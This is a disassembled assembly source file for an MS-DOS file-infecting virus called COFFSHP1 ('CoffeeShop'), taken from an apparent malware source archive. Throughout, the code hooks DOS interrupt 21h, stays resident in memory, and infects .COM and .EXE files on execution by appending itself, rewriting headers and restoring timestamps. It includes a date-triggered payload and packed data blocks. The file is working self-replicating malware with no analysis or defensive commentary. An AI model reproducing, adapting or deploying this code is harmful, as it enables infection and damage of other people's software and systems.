MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.coffshp1.asm
2021-01-12 17:34:47 -06:00

826 lines
18 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ COFFSHP1 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 23-Jun-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0F8h
data_2e equ 0FAh
data_3e equ 43Bh
data_4e equ 0F4h
data_5e equ 0F8h
data_6e equ 0FCh
data_15e equ 15A1h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
coffshp1 proc far
start:
jmp loc_2
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+di],ah
inc ax
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
add [bx+si],al
int 20h ; DOS program terminate
db 27 dup (0)
loc_2:
call sub_2
coffshp1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pop si
mov di,100h
sub si,20h
push ax
push ds
push es
push di
push si
cld ; Clear direction
mov ah,30h ; '0'
int 21h ; DOS Services ah=function 30h
; get DOS version number ax
xchg ah,al
cmp ax,30Ah
jb loc_3 ; Jump if below
mov ax,33DAh
int 21h ; ??INT Non-standard interrupt
cmp ah,0A5h
je loc_3 ; Jump if equal
mov ax,es
dec ax
mov ds,ax
xor bx,bx ; Zero register
cmp byte ptr [bx],5Ah ; 'Z'
jne loc_3 ; Jump if not equal
mov ax,[bx+3]
sub ax,72h
jc loc_3 ; Jump if carry Set
mov [bx+3],ax
sub word ptr [bx+12h],72h
mov es,[bx+12h]
push cs
pop ds
mov cx,620h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_1e,bx
mov ds:data_2e,es
;* mov dx,offset loc_1
db 0BAh, 01h, 02h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp al,5
jne loc_3 ; Jump if not equal
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
or dh,dh ; Zero ?
jnz loc_3 ; Jump if not zero
pop ax
push ax
call sub_3
loc_3:
pop si
pop di
pop es
pop ds
pop ax
cmp byte ptr cs:[si+1Ch],0
je loc_4 ; Jump if equal
mov bx,ds
add bx,10h
mov cx,bx
add bx,cs:[si+0Eh]
cli ; Disable interrupts
mov ss,bx
mov sp,cs:[si+10h]
sti ; Enable interrupts
add cx,cs:[si+16h]
push cx
push word ptr cs:[si+14h]
retf ; Return far
loc_4:
push di
mov cx,1Ch
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov bx,ax
add bx,152h
push cs
push bx
add ax,62Fh
and ax,0FFF0h
mov di,ax
mov si,data_3e
mov cx,2E5h
push cs
pop es
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov dx,cs
add ax,dx
sub ax,10h
mov ds,ax
mov es,ax
push ax
mov ax,100h
push ax
retf ; Return far
sub_3 endp
and [bp+di+6Fh],al
db 'ffeeShop '
db 0B0h, 03h,0CFh, 9Ch, 3Dh,0DAh
db 33h, 75h, 05h,0B8h, 01h,0A5h
db 9Dh,0CFh
db 06h, 1Eh, 56h, 57h, 52h, 51h
db 53h, 50h, 3Dh, 00h, 4Bh, 74h
db 0Ch, 3Dh, 00h
db 6Ch, 75h, 0Ah
db 0F6h,0C3h, 03h, 75h, 05h, 8Bh
db 0D7h
loc_7:
call sub_4
loc_8:
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop ds
pop es
popf ; Pop flags
jmp dword ptr cs:data_5e
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
cld ; Clear direction
push cs
pop es
mov si,dx
xor di,di ; Zero register
mov cx,80h
locloop_9:
lodsb ; String [si] to al
cmp al,0
je loc_12 ; Jump if equal
cmp al,61h ; 'a'
jb loc_10 ; Jump if below
cmp al,7Ah ; 'z'
ja loc_10 ; Jump if above
xor al,20h ; ' '
loc_10:
stosb ; Store al to es:[di]
loop locloop_9 ; Loop if cx > 0
loc_ret_11:
retn
loc_12:
stosb ; Store al to es:[di]
lea si,[di-5] ; Load effective addr
push cs
pop ds
lodsw ; String [si] to ax
cmp ax,452Eh
jne loc_13 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,4558h
jmp short loc_14
loc_13:
cmp ax,432Eh
jne loc_ret_11 ; Jump if not equal
lodsw ; String [si] to ax
cmp ax,4D4Fh
loc_14:
jne loc_ret_11 ; Jump if not equal
std ; Set direction flag
mov cx,si
inc cx
locloop_15:
lodsb ; String [si] to al
cmp al,3Ah ; ':'
je loc_16 ; Jump if equal
cmp al,5Ch ; '\'
je loc_16 ; Jump if equal
loop locloop_15 ; Loop if cx > 0
dec si
loc_16:
cld ; Clear direction
lodsw ; String [si] to ax
lodsw ; String [si] to ax
mov di,3BEh
mov cl,0Ch
repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax
jz loc_ret_11 ; Jump if zero
mov ax,3300h
int 21h ; DOS Services ah=function 33h
; get ctrl-break flag in dl
push dx
cwd ; Word to double word
inc ax
push ax
int 21h ; DOS Services ah=function 33h
; set ctrl-break flag dl=off/on
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
push bx
push cs
pop ds
mov dx,offset int_24h_entry
mov ah,25h ; '%'
push ax
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,4300h
cwd ; Word to double word
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
push cx
xor cx,cx ; Zero register
mov ax,4301h
push ax
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jc loc_17 ; Jump if carry Set
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_18 ; Jump if carry=0
loc_17:
jmp loc_24
loc_18:
xchg ax,bx
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push dx
push cx
mov cx,1Ch
mov si,100h
mov dx,si
call sub_7
jc loc_19 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov di,data_4e
mov [di],ax
mov [di+2],dx
cmp word ptr [si+12h],4021h
je loc_19 ; Jump if equal
cmp word ptr [si],5A4Dh
je loc_20 ; Jump if equal
mov byte ptr [si+1Ch],0
test byte ptr [si],80h
jz loc_19 ; Jump if zero
cmp word ptr [di],0D000h
jae loc_19 ; Jump if above or =
cmp word ptr [di],7D0h
jb loc_19 ; Jump if below
call sub_10
jnz loc_19 ; Jump if not zero
mov byte ptr [si],0E9h
mov ax,[di]
add ax,1Ah
mov [si+1],ax
jmp short loc_22
loc_19:
jmp loc_23
loc_20:
mov byte ptr [si+1Ch],1
cmp word ptr [si+18h],40h
jb loc_21 ; Jump if below
mov ax,3Ch
cwd ; Word to double word
call sub_6
jc loc_23 ; Jump if carry Set
mov ax,[si-4]
mov dx,[si-2]
call sub_6
jc loc_23 ; Jump if carry Set
cmp byte ptr [si-3],45h ; 'E'
je loc_23 ; Jump if equal
loc_21:
call sub_9
cmp [si+4],ax
jne loc_23 ; Jump if not equal
cmp [si+2],dx
jne loc_23 ; Jump if not equal
cmp word ptr [si+0Ch],0
je loc_23 ; Jump if equal
cmp word ptr [si+1Ah],0
jne loc_23 ; Jump if not equal
call sub_10
jnz loc_23 ; Jump if not zero
call sub_8
mov [si+4],ax
mov [si+2],dx
call sub_11
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,[si+8]
dec ax
add dx,2Dh
mov [si+16h],ax
mov [si+0Eh],ax
mov [si+14h],dx
mov word ptr [si+10h],17E0h
lea di,[si+0Ah] ; Load effective addr
call sub_5
lea di,[si+0Ch] ; Load effective addr
call sub_5
loc_22:
call sub_12
mov word ptr [si+12h],4021h
mov cx,1Ch
mov dx,si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_23:
pop cx
pop dx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_24:
pop ax
pop cx
cwd ; Word to double word
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
pop ax
pop dx
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ax
pop dx
int 21h ; DOS Services ah=function 33h
; set ctrl-break flag dl=off/on
retn
sub_4 endp
inc bx
dec di
push bx
inc bx
inc bx
dec sp
push si
push bx
dec si
inc bp
dec ax
push sp
push sp
inc dx
push si
dec cx
push dx
inc cx
inc si
inc bp
dec bp
push sp
inc dx
push dx
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
mov ax,[di]
sub ax,62h
jc loc_25 ; Jump if carry Set
cmp ax,14Bh
jae loc_26 ; Jump if above or =
loc_25:
mov ax,14Bh
loc_26:
mov [di],ax
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
call sub_13
mov dx,data_6e
mov cx,4
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_7:
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
call sub_11
add ax,620h
adc dx,0
jmp short loc_27
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_9:
call sub_11
loc_27:
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_ret_28 ; Jump if zero
inc ax
loc_ret_28:
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
call sub_11
call sub_13
mov cx,620h
mov dx,si
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
cmp ax,cx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
mov ax,[di]
mov dx,[di+2]
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
xor ax,ax ; Zero register
cwd ; Word to double word
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_13:
xchg cx,dx
xchg ax,dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_12 endp
and [di+4Bh],cl
and [bx],ah
cmp [bp+si],si
and ds:data_15e[bx],bh
cmp di,sp
jb loc_29 ; Jump if below
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
loc_29:
mov si,403h
mov cx,170h
std ; Set direction flag
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
cld ; Clear direction
mov si,di
mov di,100h
lodsw ; String [si] to ax
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
jmp $+1439h
adc ax,7FDFh
cld ; Clear direction
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov ah,0
push ax
sti ; Enable interrupts
mov bh,0B0h
cmp al,7
;* je loc_31 ; Jump if equal
db 74h,0FFh
dec word ptr [bp+si]
cmp al,4
jae $+2Ah ; Jump if above or =
mov bh,0B8h
cmp al,2
jb $+24h ; Jump if below
mov es,bx
mov si,140h
db 0FFh,0FFh,0B0h, 19h, 57h,0B1h
db 50h,0F3h,0A5h, 5Fh, 81h,0C7h
db 0A0h, 00h,0FEh,0C8h, 75h,0F2h
db 03h, 8Fh,0B8h, 07h, 0Eh,0D6h
db 0FBh, 0Ch,0CDh, 21h, 58h,0F8h
db 63h,0A7h,0CBh, 20h, 02h,0FEh
db 20h, 00h,0FAh,0EBh,0B0h,0FCh
db 0F8h, 03h, 77h,0F0h,0E0h,0D0h
db 41h, 0Fh,0C0h, 2Fh, 07h, 1Dh
db 80h, 6Fh,0BAh,0DCh,0E1h, 34h
db 0DBh, 0Ch,0F8h,0F0h, 0Eh,0DFh
db 0FEh,0F4h,0F8h,0BBh,0AEh,0F8h
db 0E4h, 03h, 84h,0E0h,0FCh,0EBh
db 0B0h,0E6h,0EAh,0A3h, 83h,0DAh
db 0AAh, 0Eh,0DCh, 09h,0BAh,0C8h
db 01h, 3Ah,0F0h, 50h, 07h,0A2h
db 0E8h,0E0h,0ACh, 05h,0DBh, 0Eh
db 77h, 0Fh,0F8h,0DCh,0F6h,0BAh
db 0AEh,0F0h,0F6h,0EBh, 3Ah,0F0h
db 0F4h,0E0h, 40h, 17h,0FAh
loc_33:
in al,dx ; port 10h ??I/O Non-standard
sbb ax,0DF72h
esc 2,dl ; coprocessor escape
jz loc_33 ; Jump if zero
mov dx,20DDh
sbb ax,0DE74h
and [bp+si-45F9h],ch
esc 0,[bx+di-8] ; coprocessor escape
inc di
xchg di,ax
call $-171Ch
clc ; Clear carry flag
xchg ax,dx
hlt ; Halt processor
add [di],bl
db 60h,0D8h,0E8h, 09h,0DCh,0FEh
db 09h,0F8h,0B0h, 23h,0F8h, 5Ch
db 0D7h,0FCh,0F8h,0FCh,0E8h, 01h
db 3Bh,0F4h,0ECh, 80h,0D2h, 1Dh
db 0BEh,0BAh, 5Ch, 20h, 7Ch, 03h
db 75h, 60h,0CAh, 20h, 0Eh,0B2h
db 0D8h, 81h,0F0h, 3Bh, 40h, 92h
db 0D7h,0B5h,0CEh,0F8h,0DCh, 60h
db 0A7h, 41h,0DEh, 60h, 02h,0B5h
db 0BEh, 3Ch, 20h, 0Fh, 7Bh, 22h
db 65h, 07h, 15h, 60h, 6Eh, 42h
db 68h,0B8h, 20h,0FEh,0FCh,0AEh
db 23h,0FCh,0E2h, 7Fh, 07h,0C0h
db 0B3h, 20h, 2Fh, 60h, 79h, 28h
db 6Ah,0DEh, 7Eh,0E0h, 08h,0D5h
db 09h,0E4h,0C0h, 60h,0C1h, 70h
db 0Bh,0DFh,0E4h, 42h,0D0h, 7Bh
db 4Fh, 5Eh, 9Ah, 05h,0ADh
db 22h
db 06h, 80h, 70h, 10h, 60h, 3Eh
db 05h,0CAh, 5Eh, 41h, 46h,0A4h
db 53h,0EFh, 15h
db 7Ah
db 97h,0C2h, 54h, 74h, 04h, 20h
db 60h, 50h, 45h, 01h,0C8h,0E8h
db 0DCh, 05h,0F9h, 06h, 54h,0D8h
db 0DEh, 41h, 2Dh, 78h, 7Ah, 01h
db 55h, 75h, 04h, 20h, 76h, 1Dh
db 0B8h, 2Eh,0EAh,0A0h,0C6h, 62h
db 55h, 83h, 8Ah, 5Eh, 09h,0C0h
db 0Ah, 5Ch, 20h,0C6h, 11h, 12h
db 0D0h, 2Ah, 74h, 58h, 5Dh, 5Eh
db 17h, 5Bh, 60h, 80h, 92h, 0Eh
db 40h,0EAh, 40h, 75h,0ACh, 62h
db 15h, 74h,0C4h, 59h, 5Eh,0C0h
db 9Dh,0C4h, 82h, 15h, 08h,0DCh
db 20h, 14h, 90h, 60h, 20h, 43h
db 66h, 62h, 94h, 50h, 3Bh, 65h
db 0ECh, 5Eh,0A4h, 1Dh,0CFh, 70h
db 80h,0C2h, 20h, 8Ah, 0Eh,0B2h
db 62h, 2Ah,0ECh, 69h,0CCh, 5Eh
db 80h, 55h,0BEh, 0Bh,0C0h, 80h
db 62h, 41h, 0Eh, 04h, 72h,0FEh
db 56h, 05h, 6Eh, 10h, 01h,0D5h
db 41h,0AEh,0FEh,0CEh, 9Eh,0D1h
db 08h,0FEh,0C4h,0E9h, 5Ch,0E6h
db 0AAh, 62h,0CCh,0C0h,0C8h, 01h
db 62h, 39h,0ECh, 6Ch,0F2h, 9Dh
db 62h,0BCh, 94h, 48h, 41h, 28h
db 4Ah, 45h, 38h, 26h,0FEh, 52h
db 1Ch, 5Ah, 5Fh,0FEh,0BEh, 40h
db 02h, 84h,0F2h, 0Ah,0B8h,0AEh
db 70h,0FEh,0FCh, 8Eh, 12h, 6Ah
db 0DEh, 54h,0D8h, 61h,0ACh, 50h
db 0B1h, 43h, 3Eh, 72h, 80h,0A3h
db 60h, 48h, 6Ah, 82h, 0Eh, 96h
db 02h, 66h, 3Ah, 6Ch, 58h, 84h
db 0B4h,0D1h, 01h, 5Ah, 48h, 3Ah
db 0EAh, 44h, 70h, 0Bh,0E8h,0D8h
db 24h, 9Eh, 28h, 12h, 73h,0C6h
db 54h,0D0h,0FFh
db 0F0h,0FFh, 60h, 34h, 50h, 00h
db 00h,0FFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
shr bp,1 ; Shift w/zeros fill
dec dl
jnz loc_ret_38 ; Jump if not zero
lodsw ; String [si] to ax
mov bp,ax
mov dl,10h
loc_ret_38:
retn
sub_14 endp
loc_39:
call sub_14
rcl bh,1 ; Rotate thru carry
call sub_14
jc loc_42 ; Jump if carry Set
mov dh,2
mov cl,3
locloop_40:
call sub_14
jc loc_41 ; Jump if carry Set
call sub_14
rcl bh,1 ; Rotate thru carry
shl dh,1 ; Shift w/zeros fill
loop locloop_40 ; Loop if cx > 0
loc_41:
sub bh,dh
loc_42:
mov dh,2
mov cl,4
locloop_43:
inc dh
call sub_14
jc loc_44 ; Jump if carry Set
loop locloop_43 ; Loop if cx > 0
call sub_14
jnc loc_45 ; Jump if carry=0
inc dh
call sub_14
jnc loc_44 ; Jump if carry=0
inc dh
loc_44:
mov cl,dh
jmp short locloop_51
loc_45:
call sub_14
jc loc_47 ; Jump if carry Set
mov cl,3
mov dh,0
locloop_46:
call sub_14
rcl dh,1 ; Rotate thru carry
loop locloop_46 ; Loop if cx > 0
add dh,9
jmp short loc_44
loc_47:
lodsb ; String [si] to al
mov cl,al
add cx,11h
jmp short locloop_51
loc_48:
mov cl,3
locloop_49:
call sub_14
rcl bh,1 ; Rotate thru carry
loop locloop_49 ; Loop if cx > 0
dec bh
loc_50:
mov cl,2
locloop_51:
mov al,es:[bx+di]
stosb ; Store al to es:[di]
loop locloop_51 ; Loop if cx > 0
loc_52:
call sub_14
jnc loc_53 ; Jump if carry=0
movsb ; Mov [si] to es:[di]
jmp short loc_52
loc_53:
call sub_14
lodsb ; String [si] to al
mov bh,0FFh
mov bl,al
jc loc_39 ; Jump if carry Set
call sub_14
jc loc_48 ; Jump if carry Set
cmp bh,bl
jne loc_50 ; Jump if not equal
xor bp,bp ; Zero register
xor di,di ; Zero register
xor si,si ; Zero register
xor dx,dx ; Zero register
xor bx,bx ; Zero register
xor ax,ax ; Zero register
jmp $-1480h
seg_a ends
end start